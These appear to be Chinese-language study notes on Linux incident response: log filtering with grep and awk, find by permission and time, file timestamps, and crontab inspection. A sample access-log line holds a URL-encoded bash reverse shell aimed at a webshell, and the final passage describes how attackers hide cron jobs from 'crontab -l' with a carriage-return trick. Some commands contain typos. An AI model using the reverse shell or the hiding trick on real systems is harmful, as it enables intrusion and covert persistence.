netstat -anultp 查看进程(用来判断开启了哪些服务等)
ls -al 查看目录下所有文件,包括隐藏文件
ls -alt 查看目录下所有文件,包括隐藏文件,按时间顺序排序
cat access.log | wc -l 查看文件的行数 wc -l是查看文件行数的意思
cat -e access.log | grep 1.php 查找accsee.log文件中含有关键字1.php的行 cat access.log | grep -a 1.php 这俩用处一样
awk正则匹配过滤文本命令参考文章 https://blog.csdn.net/weixin_44657888/article/details/134817128 awk [参数] [处理内容] [操作对象]
例如,access.log日志每行如下
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200 242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"$
访问者ip 时间 请求头 请求路径 URL http版本 状态码 长度
awk '{print $1}' access.log 此命令为匹配字段为1的数据并只显示字段为1的数据
即可筛选出所有IP
grep -v 反选目标
awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7
grep命令 gerp -v "xxx" 11.txt 反选xxx内容,反选存在xxx内容的这行gerp -i "xxx" 11.txt 不区分xxx的大小写grep -n "xxx" 11.txt 查找含有xxx内容的行以及行号grep -r "xxx" 搜寻当前目录以及子目录中所有包含xxx的行
awk '{print $1 $4 $7}' access.log.1 | grep -i 192.168.1.5 | grep "/user"组合命令
find命令 参考文章: https://zhuanlan.zhihu.com/p/544622346 https://blog.csdn.net/inxunxun/article/details/128164047 https://blog.csdn.net/feyehong/article/details/135829108 find . 或者 find 都是搜当前目录find . -type -f -perm 777 查找权限为777的文件find . -name "*.php" ! -perm 664 找出当前目录下权限不是644的php文件,感叹号是反选find -path 指定路径查找文件find -name "xxx*" 查找当前目录文件名字xxx开头的文件find查找时间对应的文件time单位为天 min单位为分钟 -atime -amin xx天/分钟访问过的文件 access -ctime -cmin xx天/分钟改变文件状态的文件 change -mtime -mtim xx天/分钟改变文件内容的文件 modifyfind . -type f -atime -7 查找最近七天内被访问的文件find . -type f -atime 7 查找七天前被访问过的所有文件find . -type f -atime +7 搜索超过七天被访问过的所有文件-mtime 0表示查找在今天内被修改过的文件,-mtime -1表示查找在过去一天内被修改过的文件
我们通过stat来判断文件时间信息,当我们再用echo进行重新写入的时候发现文件时间更改了,这里是要注意的点,因为我们有时候需要保证文件时间信息,当你查看文件或者误操作导致文件时间进行了修改那么可能对于对文件判断会有一些操作花费更多的时间,所以这里需要注意。
发现确实是一句话木马文件,我们如果害怕对文件内容不小心做出修改我们也可以使用如下命令进行文件备份操作,使用chattr进行文件锁死,防止文件传播复制。cp muma.php muma.php.bakchatter muma.php.bak
crontab -l 查看所有定时任务 crontab -e 查看所有定时任务的隐藏任务
定时任务在/etc/crontab 文件
当前用户的crontab任务列表配置文件。当然也可以直接打开,路径通常是在/var/spool/cron/下,文件以用户名命名,如/var/spool/cron/root
查看隐藏定时任务参考文章:https://cloud.tencent.com/developer/article/2388738
原理:前面已经说过执行crontab -l其实就是执行“cat /var/spool/cron/crontabs/当前登录用户的用户名”,而cat命令自身存在一定缺陷,它会自动识别转义字符,比如执行命令printf "123\r" > 1.txt,
执行完成后使用cat命令读取该文件,如图1-5所示,可以看到无法读取123,只有Vim才可以看见文件的内容,如图1-6所示。那么,攻击者可以利用这个特性,写入一个无法被crontab -l获取的计划任务。